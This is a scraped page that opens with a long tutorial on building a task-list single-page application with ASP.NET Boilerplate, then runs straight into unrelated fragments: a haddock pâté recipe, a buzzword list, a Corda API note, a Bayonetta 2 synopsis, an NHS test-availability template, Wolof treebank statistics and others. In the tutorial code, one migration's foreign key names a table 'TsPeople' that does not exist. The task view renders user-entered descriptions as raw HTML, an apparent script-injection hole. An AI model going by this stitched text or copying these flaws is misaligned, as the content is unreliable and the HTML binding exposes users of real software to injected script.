A comprehensive application made using ASP.NET Boilerplate. See: http://www.taskever.com
DRY - Don't Repeat Yourself! is one of the main ideas of a good developer while developing a software. We're trying to implement it from simple methods to classes and modules. What about developing a new web based application? We, software developers, have similar needs when developing enterprise web applications.
Enterprise web applications need login pages, user/role management infrastructure, user/application setting management, localization and so on. Also, a high quality and large scale software implements best practices such as Layered Architecture, Domain Driven Design (DDD), Dependency Injection (DI). Also, we use tools for Object-Releational Mapping (ORM), Database Migrations, Logging... etc. When it comes to the User Interface (UI), it's not much different.
Starting a new enterprise web application is a hard work. Since all applications need some common tasks, we're repeating ourselves. Many companies are developing their own Application Frameworks or Libraries for such common tasks to do not re-develop same things. Others are copying some parts of existing applications and preparing a start point for their new application. First approach is pretty good if your company is big enough and has time to develop such a framework.
As a software architect, I also developed such a framework im my company. But, there is some point it feels me bad: Many company repeats same tasks. What if we can share more, repeat less? What if DRY principle is implemented universally instead of per project or per company? It sounds utopian, but I think there may be a starting point for that!
ASP.NET Boilerplate [1] is a starting point for new modern web applications using best practices and most popular tools. It's aimed to be a solid model, a general-purpose application framework and a project template. What it does?
Beside these common infrastructure, the "Core Module" is being developed. It will provide a role and permission based authorization system (implementing ASP.NET Identity Framework), a setting systems and so on.
ASP.NET Boilerplate provides an application development model with best practices. It has base classes, interfaces and tools that makes easy to build maintainable large-scale applications. But..
In this article, I'll show how to deleveop a Single-Page and Responsive Web Application using ASP.NET Boilerplate (I'll call it as ABP from now). This sample application is named as "Simple Task System" and it consists of two pages: one for list of tasks, other one is to add new tasks. A Task can be related to a person, can be completed. The application is localized in two languages. Screenshot of Task List in the application is shown below:
ABP provides two templates to start a new project (Even if you can manually create your project and get ABP packages from nuget, template way is much more easy). Go to www.aspnetboilerplate.com/Templates to create your application from one of two templates (one for SPA (Single-Page Application), one for MPA (classic, Multi-Page Application) projects):
I named my project as SimpleTaskSystem and created a SPA project. It downloaded project as a zip file. When I open the zip file, I see a solution is ready that contains assemblies (projects) for each layer of Domain Driven Design:
Created project's runtime is .NET Framework 4.5.1, I advice to open with Visual Studio 2013. The only prerequise to be able to run the project is to create a database. SPA template assumes that you're using SQL Server 2008 or later. But you can change it easily to another DBMS.
See the connection string in web.config file of the web project:
<add name="MainDb" connectionString="Server=localhost; Database=SimpleTaskSystemDb; Trusted_Connection=True;" />
You can change connection string here. I don't change the database name, so I'm creating an empty database, named SimpleTaskSystemDb, in SQL Server:
That's it, your project is ready to run! Open it in VS2013 and press F5:
Template consists of two pages: One for Home page, other is About page. It's localized in English and Turkish. And it's Single-Page Application! Try to navigate between pages, you'll see that only the contents are changing, navigation menu is fixed, all scripts and styles are loaded only once. And it's responsive. Try to change size of the browser.
Now, I'll show how to change the application to a Simple Task System application layer by layer.
"Responsible for representing concepts of the business, information about the business situation, and business rules" (Eric Evans) [2]. In the Domain Driven Design (DDD), the core layer is the Domain Layer. Domain Layer defines your Entities, implements your business rules and so on.
Entities are one of the core concepts of DDD. Eric Evans describe it as "An object that is not fundamentally defined by its attributes, but rather by a thread of continuity and identity". So, entities have Id's and stored in a database.
My first entity is the Task:
public class Task : Entity<long>
{
public virtual Person AssignedPerson { get; set; }
public virtual string Description { get; set; }
public virtual DateTime CreationTime { get; set; }
public virtual TaskState State { get; set; }
public Task()
{
CreationTime = DateTime.Now;
State = TaskState.Active;
}
}
It's simple class that does not need to be explained. TaskState is an enum that has membes as 'Active' and 'Completed'. Second entity is the Person:
public class Person : Entity
{
public virtual string Name { get; set; }
}
A task has a relation to a person and that's all for this simple application.
Entities implements IEntity<TPrimaryKey> interface in ABP. So, if type of your primary key is long for an Entity, it must implement IEntity<long>. If your Entity's primary key is int, you may not define primary key type and directly implement IEntity interface. In practice, you can easily derive from Entity or Entity<TPrimaryKey> classes as shown above (Task and Person). IEntity defines Id property for the Entity.
"Mediates between the domain and data mapping layers using a collection-like interface for accessing domain objects" (Martin Fowler) [3]. Repositories, in practice, are used to perform database operations for domain objects (Entities or Value Types).
Generally, a seperated repository is used for each Entity (or Aggregate Root). I defined repositories for Task and Person:
public interface ITaskRepository : IRepository<Task, long>
{
List<Task> GetAllWithPeople(int? assignedPersonId, TaskState? state);
}
public interface IPersonRepository : IRepository<Person>
{
}
It's good to define an interface for each Repository. Thus, we can seperate interface from implementation. A Repository interface inherits IRepository as shown above. IRepository interface defines most-common methods for repositories:
It defines basic CRUD methods. So, all repositories are automatically implement all these methods.
When you investigate source code of the sample application, you'll see that classes packaged by intention and domain, related classes/interfaces/enums are in same namespace instead of packaging by infrastructure. I would place Task class to TaskSystem.Entities namespace, ITaskRepository to TaskSystem.Repositories namespace, TaskState to TaskSystem.Enums namespace and so on... Instead, I placed all of these classes to TTaskSystem.Tasks namespace since all of these are related to each other. This is more appropriate to nature of Domain Driven Design. So, I think it's not a good practice to place all Entities to TaskSystem.Entities namespace. Some of you may not think like that. I can understand they since I was doing it like that until short time ago. But I did see the problems and I strongly advice to place related classes/interfaces/enums to same namespace, maybe different assemblies but the same namespace. You can read "The pitfalls of Infrastructure-Driven Packaging" section of Domain Driven Design [2] book of Eric Evans.
"Provides generic technical capabilities that support the higher layers" (Eric Evans). It's used to implement abstractions of your application using third-party libraries & frameworks such as Object-Relational Mapping. In this application, I'll use Infrastructure Layer for:
"Evolutionary Database Design: Over the last few years we've developed a number of techniques that allow a database design to evolve as an application develops. This is a very important capability for agile methodologies." Martin Fowler says in his web site [3]. Database migration is an important technique to support this idea. It's very hard to maintain an application's database in more than one production environment without such techniques. Even if you've only one live system, it's critical.
FluentMigrator [4] is a good tool for database migrations. It supports most common database systems. Here, my migration codes for Person and Task tables.
[Migration(2014041001)]
public class _01_CreatePersonTable : AutoReversingMigration
{
public override void Up()
{
Create.Table("StsPeople")
.WithColumn("Id").AsInt32().Identity().PrimaryKey().NotNullable()
.WithColumn("Name").AsString(32).NotNullable();
Insert.IntoTable("StsPeople")
.Row(new { Name = "Douglas Adams" })
.Row(new { Name = "Isaac Asimov" })
.Row(new { Name = "George Orwell" })
.Row(new { Name = "Thomas More" });
}
}
[Migration(2014041002)]
public class _02_CreateTasksTable : AutoReversingMigration
{
public override void Up()
{
Create.Table("StsTasks")
.WithColumn("Id").AsInt64().Identity().PrimaryKey().NotNullable()
.WithColumn("AssignedPersonId").AsInt32().ForeignKey("TsPeople", "Id").Nullable()
.WithColumn("Description").AsString(256).NotNullable()
.WithColumn("State").AsByte().NotNullable().WithDefaultValue(1) //1: TaskState.New
.WithColumn("CreationTime").AsDateTime().NotNullable().WithDefault(SystemMethods.CurrentDateTime);
}
}
In FluentMigrator, a migration is defined in a class derived from Migration. AutoReversingMigration is a shortcut if your migration can be automatically rolled back. A migration class should has MigrationAttribute. It defines version number of the migration class. All migrations are applied ordered by this version number. It can be any long number. I use a number that identify the migration class's creation date plus an incremental value for same day (Example: for second migration class in 24 April 2014, version is '2014042402'). It's completely up to you. Only important thing is their relative order.
FluentMigrator stores latest applied version number in a table in the database. So, it applies only migrations those are bigger than the version of the database. By default, it uses 'VersionInfo' table. If you want to change the table name, you can create such a class:
[VersionTableMetaData]
public class VersionTable : DefaultVersionTableMetaData
{
public override string TableName
{
get
{
return "StsVersionInfo";
}
}
}
As you see, I write a prefix Sts (Simple Task System) for all tables. That is important for a modular application so all modules can have their specific prefix to identify the module-specific tables.
To create my tables in the database, I use Migrate.exe tool of FluentMigrator with such a 'command line' command:
Migrate.exe /connection "Server=localhost; Database=SimpleTaskSystemDb; Trusted_Connection=True;" /db sqlserver /target "SimpleTaskSystem.Infrastructure.NHibernate.dll"
For a shortcut, ABP template includes RunMigrations.bat file. After I compile the project in Debug mode, I run the "RunMigrations.bat":
As you see, two migration files are executed and tables are created:
For more information on FluentMigrator, see it's web site [4].
In order to get/store Entities into database, we should map Entities with database tables. NHibernate has several options to accomplish that. Here, I'll use manual Fluent Mapping (You can use conventional auto-mapping, see FluentNHibernate's web site [5]):
public class PersonMap : EntityMap<Person> { public PersonMap() : base("StsPeople") { Map(x => x.Name); } } public class TaskMap : EntityMap<Task, long> { public TaskMap() : base("StsTasks") { Map(x => x.Description); Map(x => x.CreationTime); Map(x => x.State).CustomType<TaskState>(); References(x => x.AssignedPerson).Column("AssignedPersonId").LazyLoad(); } }
EntityMap is a class of ABP that automatically maps Id property and gets table name in the constructor. So, I'm deriving from it and mapping other properties.
I defined interfaces for each Entity in the domain layer. Here, I'll implement repositories in NHibernate. It's pretty easy:
public class PersonRepository : NhRepositoryBase<Person>, IPersonRepository { } public class TaskRepository : NhRepositoryBase<Task, long>, ITaskRepository { public List<Task> GetAllWithPeople(int? assignedPersonId, TaskState? state) { var query = GetAll(); if (assignedPersonId.HasValue) { query = query.Where(task => task.AssignedPerson.Id == assignedPersonId.Value); } if (state.HasValue) { query = query.Where(task => task.State == state); } return query .OrderByDescending(task => task.CreationTime) .Fetch(task => task.AssignedPerson) .ToList(); } }
NhRepositoryBase implements all methods those are defined in IRepository interface. So, you must only implement your custom methods as I implemented for GetAllWithPeople. GetAll() method returns IQueryable<TEntity>, so you can write additional conditions until invoke ToList().
That's all, you can use repositories for database operations from now.
"Defines the jobs the software is supposed to do and directs the expressive domain objects to work out problems" (Eric Evans). Application layer does not include domain information and business rules in an ideal application (this may not be possible in the real life but we should minimize it). It mediates between presentation layer and domain layer.
Application services provide the functionality of the application layer. An application service method gets data transfer objects as arguments and returns a data transfer object. Directly returning Entities (or other domain object) has many problems (Like data hiding, serialization and lazy loading problems). I strongly recommend to not get/return Entities or any other domain objects from application services. They should only ger/return DTOs. Thus, Presentation layer is completely isolated from Domain layer.
So, let's start from easy one, person application service:
public interface IPersonAppService : IApplicationService { GetAllPeopleOutput GetAllPeople(); }
All application services implement IApplicationService by convention. It ensures dependency injection and provides some built-in features of ABP (like validation). I defined only one method GetAllPeople() and it returns a DTO named GetAllPeopleOutput. I name DTOs as like that: method name plus Input or Output postfix. See GetAllPeopleOutput class:
public class GetAllPeopleOutput : IOutputDto { public List<PersonDto> People { get; set; } }
An output DTO implements IOutputDto (and it inherits IDto). It does nothing but used to identify DTOs by convention. PersonDto is another DTO class to pass a Person information to the presentation layer:
public class PersonDto : EntityDto { public string Name { get; set; } }
EntityDto is another helper class of ABP that defines Id property and implements IDto interface automatically. IPersonAppService is implemented as shown below:
public class PersonAppService : IPersonAppService { private readonly IPersonRepository _personRepository; public PersonAppService(IPersonRepository personRepository) { _personRepository = personRepository; } public GetAllPeopleOutput GetAllPeople() { return new GetAllPeopleOutput { People = Mapper.Map<List<PersonDto>>(_personRepository.GetAllList()) }; } }
PersonAppService gets IPersonRepository as argument in it's constructor. ABP's built-in dependency injection system handles it using Castle Windsor. All repositories and application services are automatically registered to IOC (Inversion of Control) container as transient objects. So, you're not thinking on DI details.
GetAllPeople() method simply gets a list of all people (using ABP's out of the box implementation) from database and converts it to list of PersonDto objects using AutoMapper [6] library. AutoMapper makes it incredibly easy to map one class to another using conventions (and configurations if needed). I just defined a single line of code to configure mapping:
Mapper.CreateMap<Person, PersonDto>();
This code works when application starts and creates mapping. Then, when I need, I call the Mapper.Map method to create a PersonDto object using an existing Person object. To get more informatin about AutoMapper, see it's web site [6]. Other application service is TaskAppService implemented as below:
public class TaskAppService : ITaskAppService { private readonly ITaskRepository _taskRepository; private readonly IPersonRepository _personRepository; public TaskAppService(ITaskRepository taskRepository, IPersonRepository personRepository) { _taskRepository = taskRepository; _personRepository = personRepository; } [UnitOfWork] public void UpdateTask(UpdateTaskInput input) { var task = _taskRepository.Get(input.TaskId); if (input.State.HasValue) { task.State = input.State.Value; } if (input.AssignedPersonId.HasValue) { task.AssignedPerson = _personRepository.Load(input.AssignedPersonId.Value); } } public void CreateTask(CreateTaskInput input) { var task = new Task { Description = input.Description }; if (input.AssignedPersonId.HasValue) { task.AssignedPerson = _personRepository.Load(input.AssignedPersonId.Value); } _taskRepository.Insert(task); } //...other methods... }
In the UpdateTask method, I'm getting the Task Entity from task repository and setting changed properties. State or/and AssignedPersonId might be changed. Notice that I did not call _taskRepository.Update or any other method to save changes to database. I defined ABP's UnitOfWork attribute for the UpdateTask method. It basically opens a database connection and begins transaction at the beginning of the method and saves all changes (commits the transaction) to database at the end of the method automatically. It rollbacks the transaction if an Exception is thrown in the execution of the method. If a UnitOfWork method calls another UnitOfWork method, they use the same transaction. First called UnitOfWork method handles connection and transaction automatically.
In the CreateTask method, I created a new task and Inserted to task repository. There is no need for UnitOfWork attribute here since Repository's Insert method manages db connection and transaction itself (All repository methods are unit of work by default). UnitOfWork mechanism in ABP is very similar to mechanism I described in this article. For more informatin, you can read it.
Validation is an important and critical but a little tedious concept in application development. ABP provides infrastructure to make validation easier and nicer. Validating the user input is an application-layer task. An application service method should validate inputs and throw exceptions if given input is not valid. ASP.NET MVC and Web API has built-in validation system that can be achived using data annotations (like Required). But an Application service is a plain class, not derived from Controller. Fortunately, ABP provides similar mechanism for ordinary application service methods (using Castle Dynamic proxies and interception). Your method's input parameter should be marked as IValidate. IInputDto is already derived from IValidate, so you can mark your DTO class as IInputDto to enable validation:
public class CreateTaskInput : IInputDto
{
public int? AssignedPersonId { get; set; }
[Required]
public string Description { get; set; }
}
In this input DTO, only the Description property is required. ABP automatically checks it before calling the application service method and throws exception if it's null or empty. All of validation attributes in System.ComponentModel.DataAnnotations namespace can be used here. If these standard attributes are not enough for you, you can implement ICustomValidate:
public class CreateTaskInput : IInputDto, ICustomValidate
{
public int? AssignedPersonId { get; set; }
public bool SendEmailToAssignedPerson { get; set; }
[Required]
public string Description { get; set; }
public void AddValidationErrors(List<ValidationResult> results)
{
if (SendEmailToAssignedPerson && (!AssignedPersonId.HasValue || AssignedPersonId.Value <= 0))
{
results.Add(new ValidationResult("AssignedPersonId must be set if SendEmailToAssignedPerson is true!"));
}
}
}
One more thing: ABP checks if input parameter is null that is sent to service method. So, you don't need to write guard clauses for that.
I advice to create seperated input and output classes for each application service method even it has only one input argument. This is good when extending the application by adding other arguments to this method. It provides a way of adding parameters to the application service method without breaking existing clients.
Application services are consumed by Presentation Layer. In a Single-Page application, all datas are sent/received using AJAX between javascript and the server. ABP extremely simplifies calling an application service method from javascript. So, how it does this, let me explain...
An application service can not directly called by javascript. We may use ASP.NET Web API to expose services to clients (There are many other frameworks for that such as Web Services, WCF, SignalR and so on). So, there may be such a flow:
Javascript calls a Web API controller's action via AJAX, the Web API controller's action then calls corresponding application service's method, gets result and returns to the client. This is pretty robotic.ABP automates this and can dynamically create a Web API controller for an application service. Here the all code to create two Web API controller for my two Application Service: task service and person service (These codes are located in WebApi project in the solution).
 In the Presentation Layer section, we will see how to call these Web API controllers with ABP's dynamic javascript proxies.
"Responsible for showing information to the user and interpreting user's commands" (Eric Evans). The most obvious layer of the DDD is the Presentation Layer since we can see it, we can click it :).
Wikipedia says about SPA:
A single-page application (SPA), also known as single-page interface (SPI), is a web application or web site that fits on a single web page with the goal of providing a more fluid user experience akin to a desktop application.
In an SPA, either all necessary code – HTML, JavaScript, and CSS – is retrieved with a single page load, or the appropriate resources are dynamically loaded and added to the page as necessary, usually in response to user actions. The page does not reload at any point in the process, nor does control transfer to another page, although modern web technologies (such as those included in HTML5) can provide the perception and navigability of separate logical pages in the application. Interaction with the single page application often involves dynamic communication with the web server behind the scenes.
There are many frameworks and libraries those provide an infrastructure to build SPAs. Durandal [7] is one of these frameworks and I think it's is a very successful open source project. It's built on successful and mostly used projects: jQuery (used for DOM manipulation and AJAX), knockout.js (used for MVVM, binding javascript models with HTML) and require.js (used to manage javascript dependencies and loading javascript from server dynamically). For mode information and rich documentation, visit to Durandal's web site.
In Durandal, a part of a page consists of a view and a viewmodel. For ABP startup template, files to create SPA is shown below:
There is three views: layout, home and about. Layout provides menu and container for pages. home and about are views loaded dynamically into page. I changed views and models in order to create my Simple Task System application.
After changing views, here the files of all view and viewmodels:
I have a layout and two-views: task list and new task. Let's begin to investigate views.
In the task list, there is a list of all tasks with task description, assigned person and creation date. There is a combobox show all/avtice/completed tasks. Completed tasks are shown as gray (with an OK icon), active tasks are shown as bold (with a minus icon). The only completed task is the "Complete the Codeproject article!" that's assigned to me. Thus, you can read this article :)
Let me to start with the view model. A ViewModel is used to communicate with the server to perform user actions (listing tasks, changing combobox, clicking the icon to change status of the task) and provide a model to show in the view.
define(['service!tasksystem/task'],
function (taskService) {
return function () {
var that = this; //an alias of this
that.tasks = ko.mapping.fromJS([]); //list of tasks
that.localize = abp.localization.getSource('SimpleTaskSystem');
that.selectedTaskState = ko.observable(0); //'All tasks' option is selected in combobox as default
that.activate = function () {
that.refreshTasks();
};
that.refreshTasks = function () {
taskService.getTasks({
state: that.selectedTaskState() > 0 ? that.selectedTaskState() : null
}).done(function (data) {
ko.mapping.fromJS(data.tasks, that.tasks);
});
};
that.changeTaskState = function (task) {
var newState;
if (task.state() == 1) {
newState = 2;
} else {
newState = 1;
}
taskService.updateTask({
taskId: task.id(),
state: newState
}).done(function () {
task.state(newState);
abp.notify.info(that.localize('TaskUpdatedMessage'));
});
};
};
});
First line calls require.js's define function to register the module and declare dependencies. a dependency is generally an another module (even maybe a view model). 'service!tasksystem/task' is a special syntax of ABP that reference to the dynamic Web API controller for task application service (remember how I defined the task service in Dynamic Web API Controllers section). getTasks function is dynamically created by ABP.
Second parameter of define function is the module itself. It should be a function that defines the module. It's parameters are automatically filled by Durandal using your dependency list.
that.tasks is a knockout observable array. It's created using knockout.mapping function. that.localize is used to get a function to be used to localize in javascript. It's a feature of ABP to localize texts dynamically in javascript (Will be detailed in Localization section). that.selectedTaskState is an observable that is binded to the combobox to show all/active/completed tasks.
activate is a special function of Durandal. This function is called automatically by Durandal when this view is activated. So, we can write some codes to run when user enters the view.
In the refreshTasks method, I called Task Application Service's getTasks method to load tasks from server. To call an application service from javascript is that easy through ABP's dynamic Web API controller and dynamic javascript client proxies. getTasks function gets same arguments of TaskAppService.GetTasks. The function will return a jQuery promise, so you can write a done handler to get return value the GetTasks method of the task application service. taskService.getTasks javascript call also handles errors and show error message to the user if needed. If your done handler is called, you can be sure that there is no error. In the done handler, I added retrived tasks to the that.task observable array.
changeTaskState is also pretty similar. It's used to change a task's state from active to completed or vice verse. In the done handler, you see the usage of localization. See Localization section for details.
Like a ViewModel is a javascript file, a View is an HTML file. In this HTML file, you can bind ViewModel into HTML elements. ASP.NET Boilerplates moves this one step further by allowing to define Views as Razor Views: dynamic cshtml files instead of static html files. Thus, you can write C# code to create views. See the tasklist view:
<div class="panel panel-default">
<div class="panel-heading" style="position: relative;">
<div class="row">
<h3 class="panel-title col-xs-6">
@L("TaskList") - <span data-bind="text: abp.utils.formatString(localize('Xtasks'), tasks().length)"></span>
</h3>
<div class="col-xs-6 text-right">
<select data-bind="value: selectedTaskState, event: { change: refreshTasks }">
<option value="0">@L("AllTasks")</option>
<option value="1">@L("ActiveTasks")</option>
<option value="2">@L("CompletedTasks")</option>
</select>
</div>
</div>
</div>
<ul class="list-group" data-bind="foreach: tasks">
<div class="list-group-item">
<span class="task-state-icon glyphicon" data-bind="click: $parent.changeTaskState, css: { 'glyphicon-minus': state() == 1, 'glyphicon-ok': state() == 2 }"></span>
<span data-bind="html: description(), css: { 'task-description-active': state() == 1, 'task-description-completed': state() == 2 }"></span>
<br />
<span data-bind="visible: assignedPersonId() != 0">
<span class="task-assignedto" data-bind="text: assignedPersonName"></span>
</span>
<span class="task-creationtime" data-bind="text: creationTime()"></span>
</div>
</ul>
</div>
This view is simply designed to work with Twitter Bootstrap. CSS classes are bootstrap's classes. But this is not important. There are two important points here:
First: We can use @L("TaskList") to get a localized string. L method is defined in AbpWebViewPage class (See SimpleTaskSystemWebViewPageBase class that is derived from AbpWebViewPage). You can use L shortcut of LocalizationHelper.GetString(...) in views (See Localization section for details). Since this is a Razor View, we can directly use C# code in the view. Thus, we can create dynamic HTML in the server side. Remember that this View will be loaded only one time since this is a SPA!
Second: We can use fields of the javascript ViewModel using knockout data-bind atribute (like data-bind="foreach: tasks") and other javascript methods (like abp.utils.formatString). Thus, we can create dynamic HTML in the client side. See "click: $parent.changeTaskState", this is used to bind click event of the icon to the changeTaskState function in the javascript ViewModel code. As similar, we're binding change event of the combobox to refreshTasks function. For more information, see knockout.js web site.
"New Task" view is relatively simple. There is a task description and an optional person selection:
ViewModel for this page is shown below:
define(['service!tasksystem/person', 'service!tasksystem/task', 'plugins/history'],
function (personService, taskService, history) {
var localize = abp.localization.getSource('SimpleTaskSystem');
return function () {
var that = this;
var _$view = null;
var _$form = null;
that.people = ko.mapping.fromJS([]);
that.task = {
description: ko.observable(''),
assignedPersonId: ko.observable(0)
};
that.canActivate = function () {
return personService.getAllPeople().done(function (data) {
ko.mapping.fromJS(data.people, that.people);
});
};
that.attached = function (view, parent) {
_$view = $(view);
_$form = _$view.find('form');
_$form.validate();
};
that.saveTask = function () {
if (!_$form.valid()) {
return;
}
abp.ui.setBusy(_$view, {
promise: taskService.createTask(ko.mapping.toJS(that.task))
.done(function () {
abp.notify.info(abp.utils.formatString(localize("TaskCreatedMessage"), that.task.description()));
history.navigate('');
})
});
};
};
});
canActivate is a special function of Durandal. In this function, you can return true/false to allow/prevent to enter to the page. Durandal also accept a promise. In this case, it waits result of the promise to decide to activate the view or not. Your promise should return true/false. ABP overrides this behaviour to accept promises any other data type beside true/false. Thus, we can directly return promises returned from dynamic javascript proxies of ABP (as shown in canActivate method above).
attached is also another special function of Durandal that is called when your view is attached to DOM (Document Object Model) and safe to manipulate it.
saveTask is used to save given task to the server. It first validates the form and then calls taskService.createTask function (Remember that this function is automatically and dynamically created by ABP and it returns a promise). Here, you see two API calls of ABP. abp.notify.info is used to show notifications after save task to the server. abp.ui.setBusy is used to set a DOM element as busy (shows loading indicator and blocks the UI element, all view in this case). It accepts a promise and cancels busy when promise returned (either fail or success). ABP uses several jQuery plug-ins for that.
ABP provides a strong and flexible localization system. You can store your localization texts in resource files, XML files or even in a custom source. In this section, I'll show using XML files. Simple Task System project includes XML files in the Localization folder:
Here, the content of the SimpleTaskSystem.xml:
<?xml version="1.0" encoding="utf-8" ?>
<localizationDictionary culture="en">
<texts>
<text name="TaskSystem" value="Task System" />
<text name="TaskList" value="Task List" />
<text name="NewTask" value="New Task" />
<text name="Xtasks" value="{0} tasks" />
<text name="AllTasks" value="All tasks" />
<text name="ActiveTasks" value="Active tasks" />
<text name="CompletedTasks" value="Completed tasks" />
<text name="TaskDescription" value="Task description" />
<text name="EnterDescriptionHere" value="Task description" />
<text name="AssignTo" value="Assign to" />
<text name="SelectPerson" value="Select person" />
<text name="CreateTheTask" value="Create the task" />
<text name="TaskUpdatedMessage" value="Task has been successfully updated." />
<text name="TaskCreatedMessage" value="Task {0} has been created successfully." />
</texts>
</localizationDictionary>
It's a simple XML file includes name-value pairs for all localizable texts. culture attribute defines culture of the file. There is also an XML file for Turkish (tr) localization in the solution. Localization files should be registered to ABP in order to be usable in the C# and javascript. First, I defined a class derived from XmlLocalizationSourceSource:
public class SimpleTaskSystemLocalizationSource : XmlLocalizationSource
{
public SimpleTaskSystemLocalizationSource()
: base("SimpleTaskSystem", HttpContext.Current.Server.MapPath("/Localization/SimpleTaskSystem"))
{
}
}
A localization source must be a unique name (SimpleTaskSystem in this project). Thus, different sources (stored in different format and data sources) can be used in the application. XmlLocalizationSource also needs a folder (/Localization/SimpleTaskSystem in this project) to read localization files. Lastly, we must register this class to ABP localization system before use it:
LocalizationHelper.RegisterSource<SimpleTaskSystemLocalizationSource>();
Then we can get localized texts when we need. In C#, we have two option to get a localizaed text:
//Use directly
var s1 = LocalizationHelper.GetString("SimpleTaskSystem", "NewTask");
//Use after get source
var source = LocalizationHelper.GetSource("SimpleTaskSystem");
var s2 = source.GetString("NewTask");
It returns the localized text in current language (by using CurrentUICulture of the current thread). There are also overrides to get text in a specific culture. There is a similar API in the javascript to get localized texts:
//Use directly
var s1 = abp.localization.localize('NewTask', 'SimpleTaskSystem');
//Use after get source
var source = abp.localization.getSource('SimpleTaskSystem');
var s2 = source('NewTask');
These methods also get the localized text in the current language.
In this article, I introduced a new application framework: ASP.NET Boilerplate. It's a starting point to develop modern web applications using best practices and most popular tools. Since it's pretty new, there may be some missing concepts. But it does not restrict you. You can get it a start point and buýild your application. It's new and being developed and extended. I'm actively using it in my company in the production.
You can write bug reports, issues and feature requests to the github page (https://github.com/aspnetboilerplate/aspnetboilerplate/issues). Since it's an open source project, you can fork it and send pull requests to contribute to the ABP source code. I want it to be a start point for all we .NET developers.
[1] ASP.NET Boilerplate official website: http://www.aspnetboilerplate.com
[2] Book: "Domain Driven Design: Tackling Complexity in the Heart of Software" by Eric Evans.
[3] Martin Fowler's web site: http://martinfowler.com
[4] Fleunt Migrator: https://github.com/schambers/fluentmigrator
[5] FluentNHibernate: http://www.fluentnhibernate.org
[6] AutoMapper: http://automapper.org/r.org/
[7] Durandaljs: http://durandaljs.com/
[8] Knockout.js: http://knockoutjs.com/


Preparation time
less than 30 mins
Cooking time
1 to 2 hours
Serves
Serves 4
Arbroath smoked haddock makes a wonderful pâté – served here with a vegetable compôte, horseradish cream and walnut melba toast.
For the Arbroath smoked pâté, preheat the oven to 200C/400F/Gas 6.
Line a terrine mould with clingfilm.
Place the smoked haddock, gherkins, capers and wholegrain mustard in a food processor and blend.
Gradually add the softened butter, blending with each addition and finally add the parsley and lemon juice.
Spoon the pâté in the terrine mould and place in the fridge to set.
For the compôte, place the salt on a baking tray, put the beetroot on top and roast in the oven for 40 minutes.
Once cooked and cooled enough to handle, peel and dice the beetroot and set aside.
Put the red wine vinegar, sugar, cumin seeds, coriander, green beans and chopped beetroot in a large saucepan and cook for 30-40 minutes on a low heat. Set the compôte aside to cool.
Preheat the grill to high.
Place the cherry tomatoes on a baking tray and roast in the oven for five minutes, or until slightly burst.
Toast the walnut bread for one minute on each side under the hot grill.
For the horseradish cream, put the crème fraîche and horseradish in a small bowl and mix.
To serve, place a slice of the pâté on each of four rectangle plates with a spoonful of the compôte alongside. Top with a roast tomato. Spoon the horseradish cream in a line on one side of the plate and the toast next to the paste.


We exchange blockchain!
- unleash bricks-and-clicks e-commerce
- engineer virtual content
- deploy back-end systems
- unleash cross-media networks
- utilize enterprise initiatives
- transition web-enabled platforms
- strategize innovative e-tailers
- benchmark open-source solutions
- empower sticky bandwidth
- exploit transparent markets


@Suspendable abstract fun receiveAndVerifyTx(): TransactionParts
Implement custom logic to receive the transaction to notarise, and perform verification based on validity and privacy requirements.


$59.99
Bayonetta 2
Most of Bayonetta 2 takes place on the fictional sacred mountain of Fimbulventr and the nearby town of Noatun, which are located in the Middle East. The main character Bayonetta (voiced by Hellena Taylor) travels to the mountain to find the Gates of Hell so that she can save her friend Jeanne (voiced by Grey DeLisle-Griffin).
Returning characters include Rodin (voiced by Dave Fennoy), the bartender of Gates of Hell who supplies Bayonetta with powerful weapons; Luka (voiced by Yuri Lowenthal), a journalist who provides Bayonetta with valuable information; and Enzo (voiced by John Kassir), an informant who provides comic relief for the game. New characters include Loki (voiced by Mark Daughtery), an amnesiac boy who guides Bayonetta to the mountain; the Masked Lumen (voiced by Crispin Freeman), a powerful Sage who is Bayonetta's new rival; and Loptr (voiced by TJ Ramini), the mysterious Prophet who is apparently allied with the Masked Lumen.


College Professors Module. View, Edit and Delete Professors. The backend is .Net Core 3.1 with EF Core and SQL Server
ProfessorsLibrary Books Module. Add, View, Edit and Delete Books. The backend is Node JS + Express. It using Mongo Db for data store
Coming SoonRetrieving the Stock Price.. Add, View, Edit and Delete Books. The backend is Node JS + Express. It using Mongo Db for data store
Coming SoonRetrieving the Stock Price.. Add, View, Edit and Delete Books. The backend is Node JS + Express. It using Mongo Db for data store
Coming Soon


Security
- Complete restaurant security solutions
- Integrated video surveillance with 24/7 monitoring and recording
- Intrusion detection to fight theft whether open or closed
- Commercial fire and life safety systems to protect staff, customers and property
- Temperature and humidity monitoring in freezers and other critical areas
- Access control systems to manage access to sensitive areas
- Fleet management to monitor delivery drivers and vehicles in real time
- Video analytics for insights into customer traffic, customer service and maximizing restaurant profitability
- Remote video escort service for cash handling events
- Web-enabled remote management for total control from anywhere


{% set pageTitle = "What tests are available" %} {% set mainClasses = "nhsuk-main-wrapper--s" %} {% set version = "v5" %} {% extends "includes/layout.html" %} {% block backLink %}
{% endblock %} {% block content %}There are 2 ways to get a coronavirus test: getting a test kit delivered to your home or going to a test site.
You'll be able to choose which one you want later.
If the type of test you would like is not available, please try again later.
England None available
Scotland Available
Wales None available
Northern Ireland Available
Test kit delivered to you Available
Continue


This is an online HTML editor. If you need more buttons try the full HTML editor. Try editing this text area - go on!
Here is some sample bold text.
editor:Feel free to use this online HTML editor for generating HTML code for your own website, MySpace page, etc. To view the source code, simply click on the "Source" button above.


Project Euler is a great resource for those people who likes to think critically and programming. Project Euler gives you plenty of difficult problems so make sure you have time and/or patience to solve them! Good luck!
The photo of me is taken by Rachael Franks. I recommend checking out her work because her work is amazing and I feel that she is an underrated photographer. Every single picture she takes always come out beautiful. I would have never found a perfect picture or even post a picture of myself on the website without her awesome talent!
SDL is a cross-platform library for C/C++. It is often used to create games (which is my purpose) but it can be used for something else. I recommend using SDL if you're experienced in C/C++.
Twitter Bootstrap is a great resource to use for all users from beginners to skilled. This website even use the framework and I was able to develop the website in about 5 days (consider this - last time I touched web development seriously was maybe at least 10 years ago). Go check it out if you haven't!


Treebank Statistics: UD_Wolof-WTB: Features: NounClass
This feature is language-specific.
It occurs with 12 different values: Wol1
, Wol10
, Wol11
, Wol12
, Wol2
, Wol3
, Wol4
, Wol5
, Wol6
, Wol7
, Wol8
, Wol9
.
6011 tokens (14%) have a non-empty value of NounClass
.
199 types (4%) occur at least once with a non-empty value of NounClass
.
68 lemmas (2%) occur at least once with a non-empty value of NounClass
.
